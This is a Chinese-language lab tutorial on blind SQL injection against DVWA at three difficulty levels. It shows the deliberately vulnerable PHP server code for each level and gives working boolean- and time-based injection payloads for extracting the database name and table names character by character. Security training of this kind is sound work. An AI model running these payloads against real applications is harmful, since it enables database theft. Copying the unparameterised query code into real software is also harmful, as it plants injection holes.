DVWA-SQL Injection(Blind) SQL盲注
一般的sql注入是当提交完成后,会将sql的执行结果直接显示在页面或响应信息中。而sql盲注是提交完请求后,不管是执行成功还是失败,
都无法直接知道执行结果。只能根据返回的信息来判断。
sql盲注常用函数:
if() 语法格式:if(expr1,expr2,expr3) 功能:Expr1 为true则返回expr2,expr1为false则返回expr3。 length() 语法格式:length(str) 功能:返回字符串的长度。 substr() 语法格式:substr(str, pos)或substr(str,pos,len) 功能:从指定的位置开始,截取字符串指定长度的子串。 参数说明: str:要提取子串的字符串。 pos:提取子串的开始位置。 len:指定要提取的子串长度。 substring() 语法格式:substring(str,pos) 或substring(str,pos,len) 功能:从指定的位置开始,截取字符串指定长度的子串。 参数说明: str:要提取子串的字符串。 pos:提取子串的开始位置。 len:指定要提取的子串长度。 ascii() 语法格式:ascii(str) 功能:返回字符串最左边字符的ascii码值。 ord() 语法格式: ord(str) 功能:返回字符串最左边字符的ascii码值。 sleep() 语法格式:sleep(N) 功能:延迟执行N秒。
--low级别:
服务器端代码:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
当查询返回结果集中行数大于0时,页面显示信息:User ID exists in the database,否则显示信息:User ID is MISSING from the database。
试一下id=1' and 1='1 ,看能不能执行成功。
首先判断数据库名称的长度
基于布尔盲注
1' and length(database())=4#
基于时间盲注(根据响应时间判断注入结果):
1' and if(length(database())=4,sleep(5),1)#
(如果响应时间在5秒左右说明数据库名长度为4个字符,但这种方式具有误导性且耗时,比如服务器配置差本身就有延迟或者探测机本身就有网络延迟等,或者虽然有延迟但是页面最终返回的消息又是User ID is MISSING from the database,误导判断的信息)
猜解数据库名称的每一个字母。
猜测第一个字符的ascii大于100。
1' and ascii(substr(database(),1,1))>100#
再猜测第一个字符的ascii大于99。
1' and ascii(substr(database(),1,1))>99#
说明数据库名第一个字符的ascii码值是100,参照ascii码对照表。
说明数据库名称的第一个字符是:d
根据上面的步骤,逐个猜解后面的字符,得到数据库名称为:dvwa
猜解dvwa数据库下的数据库表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
执行成功,说明当前dvwa数据库中含有两张表。
通过limit 0,1限制查询结果只返回第一条记录,猜解第一张表的字符串长度。
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
猜解dvwa数据库中第一张表名称的第1个字符。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
执行成功,说明dvwa数据库中第一张表的第一个字符串ascii码为103.
参照ascii对照表,103对应字符:g,说明第一张表的第一个字符是:g
根据上面的步骤,逐个猜解后面的字符,得到第一张表名称为:guestbook
根据以上方式,还可以猜解表字段,字段内容等信息。
--medium级别:
服务器端代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
在medium中利用mysql_real_escape_string()函数对提交参数做转义。并且请求方式也改为Post请求,页面中将文本框改为了下拉框形式,阻止输入内容提交。现在只能尝试通过抓包的形式进行注入。
猜解数据库长度:
and length(database())=4
--high级别:
服务器端代码:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
在high中跟low的注入方式差不多。可以直接在页面上进行操作。
猜解数据库名称长度:
1' and length(database())=4#